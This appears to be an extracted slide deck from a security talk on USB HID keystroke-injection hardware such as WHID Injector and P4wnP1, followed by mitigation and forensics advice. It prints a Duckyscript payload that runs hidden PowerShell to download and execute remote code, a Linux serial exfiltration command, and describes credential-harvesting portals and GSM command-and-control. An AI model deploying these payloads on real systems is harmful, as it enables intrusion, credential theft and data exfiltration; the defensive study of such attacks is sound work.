WHID

MAKE HID ATTACKS GREAT AGAIN
Overview

• @LucaBongiorni

• After this presentation, you will:
  – Be (even) more paranoid of USB devices;
  – Learn about new tools for pranking your colleagues, pwn customers & scare CISOs;
  – Forget about your RubberDucky & BashBunny
  – Not trust anymore your USB Dildo and Pump Breast!
Human Interface Devices

“A human interface device or HID is a type of computer device usually used by humans and takes input and gives output to humans.” – Wikipedia

- Keyboard, Mouse, Game Controllers, Drawing tablets, etc.
- Most of the times don’t need external drivers to operate
- Usually whitelisted by DLP tools
- Not under Antiviruses’ scope
Offensive Devices – 1st Generation

• **Teensy** – *(PHUKD 2009 & Kautilya 2011)*
  – DIY Solution
  – Multiplatform (Win, *nix, OSX)
  – Multipayload (through DIP-Switches)
  – Cheaper (25 €)

• **Rubberducky** (2010)
  – Dedicated Hardware
  – Multiplatform (Win, *nix, OSX)
  – Can emulate Keyboard & USB Disk
  – Multipayload (CAPS-INS-NUM)
  – Changeable VID/PID
  – Expensive (55 €)
Offensive Devices – 2\textsuperscript{nd} Generation

\begin{itemize}
  \item **BadUSB (2014)**
    \begin{itemize}
      \item It exploits the controllers (i.e. Phison) within commercial USB devices and turns them into a covert keystrokes injecting device.
    \end{itemize}
  
  \item **TURNIPSCHOOL (2015)**
    \begin{itemize}
      \item Is a hardware implant concealed in a USB cable. It provides short range RF communication capability to software running on the host computer. Alternatively it could serve as a custom USB device under radio control.
    \end{itemize}
\end{itemize}
Offensive Devices – 3rd Generation

• **WHID Injector (2017)** – A Rubberducky on Steroids
  – Dedicated Hardware OpenSource
  – Multiplatform (Win, *nix, OSX)
  – Changeable VID/PID
  – Has WiFi
  – Cheap (11 €)

• **P4wnP1 (2017)** (by [Marcus Mengs](https://github.com/0xd0ber)) – A Bash Bunny on Steroids
  – Based on RPi Zero W (~15 €)
  – Has WiFi and USB to ETH
  – It can emulate USB Key FileSystem
  – Autocall Back to C2
  – Changeable VID/PID
  – NexMon WiFi Drivers ➤ Karma Attacks FTW
  – Next Gen AirGap bypass ➤ [https://youtu.be/fbUBQeD0JtA](https://youtu.be/fbUBQeD0JtA)
WHID Injector – Schematics & Specs

• Atmega 32u4
  – Arduino-friendly

• ESP-12
  – WiFi (both AP and Client modes)
  – TCP/IP Stack
  – DNS Support
  – 4MB Flash

• Pinout for weaponizing USB gadgets

• HALL Sensor for easy unbrick
Weaponizing USB Gadgets
Weaponizing USB Gadgets

Test for Social Engineering weaknesses within your target organization (e.g. DLP policy violations) and to bypass physical access restrictions to a Target’s device!
Software Frameworks – ESPloitV2 GUI

• Evolution of WHID GUI
• Shipped w/ WHID Injector
• Hidden SSID (if needed)
• ESPortal Credentials Harvester
• Multi OS & Multi KB Language
• AutoStart Function
• Change settings on-the-fly
• Live Payloads
• Duckyscript to WHID Converter
• OTA Update of ESP firmware
• Changeable VID/PID
• Reset ESP from Serial
• AirGap Bypass through Serial

ESPloit v2.7.41 - WiFi controlled HID Keyboard Emulator

by Corey Harding

File System Info Calculated in Bytes
Total: 2949250 Free: 2935947 Used: 13303

Live Payload Mode - Input Mode - Duckuino Mode
- Choose Payload - Upload Payload
- List Exfiltrated Data - Format File System
- Configure ESPloit
- Upgrade ESPloit Firmware
- Help
Ducky-Script to WHID Converter

GUI x
DELAY 500
STRING a
DELAY 500
LEFT
DELAY 500
ENTER
DELAY 500

STRING powershell -w 1 -nop -noni -s "IEX (New-Object Net.WebClient).DownloadString('### WHATEVER YOU WANT ###')"

ENTER

Rem:Generated by Dckuino.js by NURRL
Rem:Modified for use with ESploit by Corey Harding
Rem:-----
Press:131+120
CustomDelay:500
Print:a
CustomDelay:500
Press:126
CustomDelay:500
Press:176
CustomDelay:500
Print:powershell -w 1 -nop -noni -s "IEX (New-Object Net.WebClient).DownloadString('### WHATEVER YOU WANT ###')"
CustomDelay:500
Press:176

! - Done parsed 13 lines in 2ms
Change Language Layout

Just need to copy-paste one of the locales from WHID’s repo and replace _asciimap of Keyboard.cpp in Arduino’s libraries.
Spoofing VID & PID

• Edit `boards.txt` in Arduino configuration directory

• Linux:
  ```
  /root/.arduino15/packages/arduino/hardware/avr/1.6.19/
  ```

• Windows:
  ```
  C:\Users\USER\AppData\Local\Arduino15\packages\arduino\hardware\avr\1.6.19\
  ```
AirGap Bypass - Windows Serial Exfiltration (driverless)

Windows 7

Windows 8.1

Windows 10
AirGap Bypass - Linux Serial Exfiltration (driverless)

- CustomDelay: 3000
- DefaultDelay: 50
- Press: 134+195
- CustomDelay: 1000
- PrintLine: gnome-terminal
- CustomDelay: 1000
- PrintLine: sleep .5; stty -F /dev/serial/by-id/*LilyPad* 38400; echo -e "SerialEXFIL:"$(ifconfig)"
  > /dev/serial/by-id/*LilyPad*; exit
ESPortal Credentials Harvester

• Redirects HTTP requests to a fake login page.
  – Does not support HTTPS requests nor override cached HTTPS redirects.
• You can define a custom template for up to 3 specific domains, a welcome portal, and a catch-all.
• Captured credentials are stored on the exfiltration page in the file "esportal-log.txt".
• Custom html templates can be uploaded for the ESPortal login credential harvester via FTP.
Software Frameworks – USaBuse

• Developed by @RoganDawes
• Bypass Air-Gapped restrictions
• Once connected to a PC:
  – Creates a WiFi AP
  – Stealthy Screensaver Killer
  – Injects PoSH scripts that creates a HID RAW as exfil channel to transfer data back.
  – Returns a CMD shell to the attacker
  – GAME OVER
WHID Elite

- Atmega 32u4
- USB2422 Controller
- Micro SD slot
  - To fully act as USB dead drop
- `sed 's/ESP/SIM800/'`
- Microphone
- NRF24L01+
WHID Elite

- Atmega 32u4
- USB2422 Controller
- Micro SD slot
  - To fully act as USB dead drop
- sed 's/ESP/SIM800/'
- Microphone
- NRF24L01+
WHID Elite

- Atmega 32u4
- USB2422 Controller
- Micro SD slot
  - To fully act as USB dead drop
- `sed 's/ESP/SIM800/'`
- Microphone
- NRF24L01+
WHID Elite

- Atmega 32u4
- USB2422 Controller
- Micro SD slot
  - To fully act as USB dead drop
- `sed 's/ESP/SIM800/'`
- Microphone
- NRF24L01+
WHID Elite

- Atmega 32u4
- USB2422 Controller
- Micro SD slot
  - To fully act as USB dead drop
- sed 's/ESP/SIM800/’
- Microphone
- NRF24L01+
WHID Elite

- Atmega 32u4
- USB2422 Controller
- Micro SD slot
  - To fully act as USB dead drop
- `sed 's/ESP/SIM800/'`
- Microphone
- NRF24L01+
WHID Elite

Mousejacking Wireless Keyboards & Mice

WHY INJECTING KEYSTROKES ONLY ON A TARGET...

WHEN WE CAN PWN ALSO ITS COLLEAGUES?!
GSM C&C Workflow

SMS(“DoAirGap:whoami”)

HID Injection(PoSH Payload)

COM_Port(“SerialExfil:contoso\Alice”)

SMS(“contoso\Alice”)
Bypassing AirGapped Environments with WHID Elite
Work In Progress – Hybrid C2

- SMS(“DoAirGap:whoami”)
- HTTP POST(contoso\Alice)
- SMS(“Exfil Succeeded!”)
- HTTP GET (Exfil.txt)
- HID Injection(PoSH Payload)
- COM_Port(“SerialExfil:contoso\Alice”)
Work In Progress

• WHID Mobile Connector
  – Comfy GUI
  – Auto-connect to (Hidden) WHID’s AP
  – Encrypted Payloads Stored on ME
    • Just to make a bit more difficult Blue Teams life and slow-down the investigation.
P4wnP1 – A Bash Bunny On Steroids
P4wnP1 – Operating Features

• **Bypass Air-Gapped restrictions**
  – Uses a HID RAW as exfil channel to transfer data back (~50Kb/s)
  – The HID backdoor can call back a remote C&C (in case of a weaponized gadget & a known WiFi network available)

• **Win10 Lockpicker**
  – Steals NetNTLMv2 hash from locked Windows machine, attempts to crack the hash and enters the plain password to unlock the machine on success. (Fixed with KB4041691 on October 10, 2017).

• **WiFi Covert Channel (w/o admin privileges)**
  – Keystroke injection, to bring up USB HID tunnel.
  – Delivery of client agent (NET Library) via HID tunnel into memory.
  – Invocation of NET lib from PowerShell.
  – Remove P4wnP1 from target machine & walk away
  – C2 over Victim’s WiFi card (w/o disconnecting it)
AirGap Bypass – On Premises
AirGap Bypass – Phone Home

Target Host (air gapped)

Penetration Tester

s/WiFi/GSM
Target's Air-Gapped Computer
P4wnP1 Mods – 2G CallHome & OLED UI

http://stephanhahn.ch/

@BeBoXoS

@jermainlaforce
Mitigations 101

• Do Not Trust unknown USB Devices!
• At Most, Use an USB Condom!
  – Or Create your own DIY version
• https://github.com/robertfisk/USG
Mitigations in Linux 101

Use udev rules to temporarily disable the addition of new HID devices by creating a file `/etc/udev/rules.d/10-usbblock.rules` with the content:

```
#ACTION=="add",
ATTR{bInterfaceClass}=="03" RUN="/bin/sh -c 'echo 0 >/sys$DEVPATH/../authorized"
```

**Run to Block:**
```
sed -i 's/#/\/' /etc/udev/rules.d/10-usbblock.rules; udevadm control --reload-rules
```

**Run to Unlock Before Reboot:**
```
sed -i 's/^/#/' /etc/udev/rules.d/10-usbblock.rules; udevadm control --reload-rules
```
Mitigation Tools – Linux

• [https://github.com/trpt/usbd</code>](https://github.com/trpt/usbd)</code>  
  - Anti-forensic tool that writes udev rules for known usb devices and do some  
    things at unknown usb insertion or specific usb device removal

• [https://github.com/USBGuard/usbguard](https://github.com/USBGuard/usbguard)  
  - Software framework for implementing USB device authorization policies
Mitigation Tools – Windows

• [https://github.com/pmsosa/duckhunt](https://github.com/pmsosa/duckhunt)
  – Four Operational Modes:
    • **Paranoid**: KB input is disallowed until a password is input. Attack will also be logged.
    • **Normal**: KB input will temporarily be disallowed. Attack will also be logged.
    • **Sneaky**: A few keys will be dropped. Attack will also be logged.
    • **LogOnly**: Simply log the attack.

• [https://github.com/JLospinoso/beamgun](https://github.com/JLospinoso/beamgun)
  – When a malicious HID is inserted it blocks keystrokes injection by continuously stealing focus (and eventually locking the workstation)
USB Artifacts in Windows

- `SYSTEM/CurrentControlSet/Enum/USBSTOR`
- `SYSTEM/CurrentControlSet/Enum/USB`
- `SYSTEM/CurrentControlSet/Enum/HID`
- `NTUSER.DAT/Software/Microsoft/Windows/CurrentVersion/Explorer/MountPoints2`
- Windows XP – `ROOT/Windows/setupapi.log`
- Windows Vista+ – `ROOT/Windows/inf/setupapi.dev.log`
First time the device was plugged
USBDeview Vs Live System

First time the device was plugged

Last time was plugged
# USBLogView

<table>
<thead>
<tr>
<th>Event Type</th>
<th>Event Time</th>
<th>Device Name</th>
<th>Description</th>
<th>Device Type</th>
<th>Drive Letter</th>
<th>Serial Number</th>
<th>Vendor ID</th>
<th>Product ID</th>
</tr>
</thead>
<tbody>
<tr>
<td>Plug</td>
<td>28-Dec-17 20:50 PM</td>
<td>Port #0010.Hub #0003</td>
<td>USB Composite Device</td>
<td>Unknown</td>
<td>1f4f</td>
<td>9208</td>
<td></td>
<td></td>
</tr>
<tr>
<td>Plug</td>
<td>28-Dec-17 21:00:50 PM</td>
<td>0000.0014.0000.010.0000.0...</td>
<td>Arduino LilyPad USB</td>
<td>Communication</td>
<td>COM5</td>
<td>1b4f</td>
<td>9208</td>
<td></td>
</tr>
<tr>
<td>Plug</td>
<td>28-Dec-17 21:01:18 PM</td>
<td>Port #0010.Hub #0003</td>
<td>USB Input Device</td>
<td>HID (Human Interf...</td>
<td>1b4f</td>
<td>9208</td>
<td></td>
<td></td>
</tr>
<tr>
<td>Unplug</td>
<td>28-Dec-17 21:01:18 PM</td>
<td>Port #0010.Hub #0003</td>
<td>USB Composite Device</td>
<td>Unknown</td>
<td>1f4f</td>
<td>9208</td>
<td></td>
<td></td>
</tr>
<tr>
<td>Unplug</td>
<td>28-Dec-17 21:01:18 PM</td>
<td>0000.0014.0000.010.0000.0...</td>
<td>Arduino LilyPad USB</td>
<td>Communication</td>
<td>COM5</td>
<td>1b4f</td>
<td>9208</td>
<td></td>
</tr>
</tbody>
</table>

[http://www.nirsoft.net/utils/usb_log_view.html](http://www.nirsoft.net/utils/usb_log_view.html)
Command Run History

Instead of:

GUI + R
STRING <malicious command>
ENTER

Do:

GUI + R
STRING CMD (or Powershell)
ENTER
STRING <malicious command>
ENTER
Command Run History

Instead of:

GUI + R
STRING <malicious command>
ENTER

Do:

GUI + R
STRING CMD (or Powershell)
ENTER
STRING <malicious command>
ENTER

Event Logs for the rescue!
Plug-and-Play Event Logs
Plug-and-Play Event Logs

Event 6416: A new external device was recognized by the System.
PowerShell Event Logs

![Local Group Policy Editor](image)

- **Turn on Module Logging**: Enabled, No
- **Turn on PowerShell Script Block Logging**: Enabled, No
- **Turn on Script Execution**: Not configured, No
- **Turn on PowerShell Transcription**: Enabled, No

Select an item to view its description.
Advanced DFIR

- Extract raw NAND’s data from ESP
- Dump Arduino firmware
- Reverse Engineering with Radare

```bash
root@kali:~/Desktop# strings ESP_Flash_Dump.img

root@kali:~/Desktop# esptool.py --port COM5 --baud 38400 read_flash 0x00000 0x400000 ESP_Flash_Dump.img
```
Resources

- [http://whid.ninja](http://whid.ninja)
- [https://medium.com/@LucaBongiorni/](https://medium.com/@LucaBongiorni/)
- [https://github.com/exploitagency/ESPloitV2](https://github.com/exploitagency/ESPloitV2)
- [https://github.com/sensepost/USaBUSe](https://github.com/sensepost/USaBUSe)
- [https://github.com/mame82/P4wnP1](https://github.com/mame82/P4wnP1)
- [https://github.com/mossmann/cc11xx/tree/master/turnipschool](https://github.com/mossmann/cc11xx/tree/master/turnipschool)
- [https://srlabs.de/bites/usb-peripherals-turn/](https://srlabs.de/bites/usb-peripherals-turn/)
Fin